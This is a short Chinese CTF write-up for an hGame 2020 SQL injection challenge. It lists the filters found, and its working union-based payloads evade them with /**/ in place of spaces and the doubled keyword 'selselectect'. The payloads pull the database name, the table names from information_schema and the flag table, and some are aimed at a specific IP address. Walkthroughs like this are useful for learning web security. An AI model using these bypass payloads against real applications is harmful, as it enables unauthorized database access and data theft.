hGame2020第二周第二题题解

进入页面发现id=1的时候出现如图内容，id=2时会变化

然后测试几个常见的过滤点：

1.测试空格，测试如下图，变成了12说明过滤了空格

id=1 2

2.测试select如下图:发现select被过滤掉了,同理测试union发现可以使用union

id=1select

3.爆数据库名easysql

id=123%27/**/union/**/selselectect/**/database();%23   

4.爆库内表名:f1aggggggggggggg

http://139.199.182.61/index.php?
id=%27union/**/selselectect/**/table_name/**/from/**/
information_schema.tables/**/where/**/table_schema=%27easysql%27;%23

5.试一下表里面能查到什么

 id=%27union/**/selselectect/**/*/**/from/**/f1aggggggggggggg;%23

得到flag

http://139.199.182.61/index.php?
id=%27union/**/selselectect/**/table_name/**/from/**/
information_schema.tables/**/where/**/table_schema=%27easysql%27;%23